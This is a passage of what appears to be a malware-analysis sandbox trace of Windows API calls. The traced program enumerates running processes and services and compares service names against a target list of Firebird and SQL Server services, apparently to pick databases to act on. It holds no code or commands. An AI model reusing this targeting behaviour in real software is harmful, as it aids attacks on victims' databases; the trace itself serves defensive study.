th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0256.555] lstrlenW (lpString="audiodg.exe") returned 11 [0256.555] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0256.556] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0256.556] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0256.557] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0256.557] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0256.558] lstrlenW (lpString="Memory Compression") returned 18 [0256.558] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.559] lstrlenW (lpString="svchost.exe") returned 11 [0256.559] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0256.559] lstrlenW (lpString="sihost.exe") returned 10 [0256.559] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0256.560] lstrlenW (lpString="MDMAgent.exe") returned 12 [0256.560] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0256.561] lstrlenW (lpString="taskhostw.exe") returned 13 [0256.561] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0256.561] lstrlenW (lpString="msoia.exe") returned 9 [0256.561] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0256.562] lstrlenW (lpString="explorer.exe") returned 12 [0256.562] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0256.563] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0256.563] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0256.564] lstrlenW (lpString="SearchUI.exe") returned 12 [0256.564] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0256.564] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0256.564] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0256.565] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0256.565] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0256.566] lstrlenW (lpString="mobsync.exe") returned 11 [0256.566] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0256.566] lstrlenW (lpString="chrome64b.exe") returned 13 [0256.567] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0256.567] lstrlenW (lpString="cmd.exe") returned 7 [0256.567] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0256.568] lstrlenW (lpString="conhost.exe") returned 11 [0256.568] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.569] lstrlenW (lpString="svchost.exe") returned 11 [0256.569] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0256.569] CloseHandle (hObject=0x494) returned 1 [0256.569] Sleep (dwMilliseconds=0x1f4) [0257.287] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x699af0 [0257.287] EnumServicesStatusExW (in: hSCManager=0x699af0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0257.288] GetLastError () returned 0xea [0257.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c5a) returned 0x4535f60 [0257.288] EnumServicesStatusExW (in: hSCManager=0x699af0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4535f60, cbBufSize=0x1c5a, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4535f60, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0257.288] CloseServiceHandle (hSCObject=0x699af0) returned 1 [0257.289] lstrlenW (lpString="AppXSvc") returned 7 [0257.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0257.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0257.289] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0257.289] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0257.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0257.289] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0257.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0257.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0257.289] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0257.289] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0257.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0257.289] lstrlenW (lpString="Audiosrv") returned 8 [0257.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0257.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0257.289] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0257.289] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0257.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0257.289] lstrlenW (lpString="BFE") returned 3 [0257.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0257.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0257.289] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0257.289] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0257.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0257.289] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0257.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0257.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0257.289] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0257.289] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0257.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0257.290] lstrlenW (lpString="CDPSvc") returned 6 [0257.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0257.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0257.290] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0257.290] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0257.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0257.290] lstrlenW (lpString="ClickToRunSvc") returned 13 [0257.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0257.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0257.290] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0257.290] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0257.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0257.290] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0257.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0257.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0257.290] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0257.290] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0257.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0257.290] lstrlenW (lpString="CryptSvc") returned 8 [0257.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0257.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0257.290] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0257.290] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0257.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0257.290] lstrlenW (lpString="DcomLaunch") returned 10 [0257.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0257.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0257.291] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0257.291] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0257.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0257.291] lstrlenW (lpString="DeviceAssociationService") returned 24 [0257.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0257.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0257.291] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0257.291] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0257.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0257.291] lstrlenW (lpString="Dhcp") returned 4 [0257.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0257.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0257.291] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0257.291] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0257.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0257.291] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0257.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0257.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0257.291] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0257.291] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0257.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0257.291] lstrlenW (lpString="Dnscache") returned 8 [0257.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0257.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0257.291] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0257.291] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0257.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0257.292] lstrlenW (lpString="DPS") returned 3 [0257.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0257.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0257.292] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0257.292] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0257.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0257.292] lstrlenW (lpString="DusmSvc") returned 7 [0257.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0257.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0257.292] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0257.292] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0257.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0257.292] lstrlenW (lpString="EventLog") returned 8 [0257.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0257.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0257.292] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0257.292] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0257.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0257.292] lstrlenW (lpString="EventSystem") returned 11 [0257.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0257.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0257.292] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0257.292] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0257.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0257.292] lstrlenW (lpString="FontCache") returned 9 [0257.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0257.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0257.292] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0257.292] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0257.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0257.293] lstrlenW (lpString="gpsvc") returned 5 [0257.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0257.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0257.293] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0257.293] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0257.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0257.293] lstrlenW (lpString="iphlpsvc") returned 8 [0257.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0257.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0257.293] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0257.293] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0257.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0257.293] lstrlenW (lpString="KeyIso") returned 6 [0257.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0257.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0257.293] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0257.293] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0257.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0257.293] lstrlenW (lpString="LanmanServer") returned 12 [0257.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0257.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0257.293] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0257.293] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0257.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0257.293] lstrlenW (lpString="LanmanWorkstation") returned 17 [0257.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0257.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0257.294] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0257.294] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0257.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0257.294] lstrlenW (lpString="lfsvc") returned 5 [0257.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0257.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0257.294] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0257.294] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0257.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0257.294] lstrlenW (lpString="lmhosts") returned 7 [0257.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0257.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0257.294] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0257.294] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0257.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0257.294] lstrlenW (lpString="LSM") returned 3 [0257.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0257.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0257.294] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0257.294] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0257.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0257.294] lstrlenW (lpString="MpsSvc") returned 6 [0257.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0257.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0257.294] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0257.294] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0257.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0257.294] lstrlenW (lpString="NcbService") returned 10 [0257.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0257.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0257.295] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0257.295] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0257.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0257.295] lstrlenW (lpString="netprofm") returned 8 [0257.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0257.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0257.295] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0257.295] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0257.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0257.295] lstrlenW (lpString="NgcSvc") returned 6 [0257.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0257.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0257.295] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0257.295] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0257.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0257.295] lstrlenW (lpString="NlaSvc") returned 6 [0257.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0257.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0257.295] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0257.295] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0257.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0257.295] lstrlenW (lpString="nsi") returned 3 [0257.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0257.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0257.295] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0257.295] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0257.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0257.296] lstrlenW (lpString="PcaSvc") returned 6 [0257.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0257.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0257.296] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0257.296] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0257.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0257.296] lstrlenW (lpString="PlugPlay") returned 8 [0257.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0257.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0257.296] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0257.296] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0257.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0257.296] lstrlenW (lpString="Power") returned 5 [0257.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0257.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0257.296] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0257.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0257.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0257.296] lstrlenW (lpString="ProfSvc") returned 7 [0257.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0257.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0257.296] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0257.296] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0257.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0257.296] lstrlenW (lpString="RpcEptMapper") returned 12 [0257.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0257.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0257.296] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0257.297] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 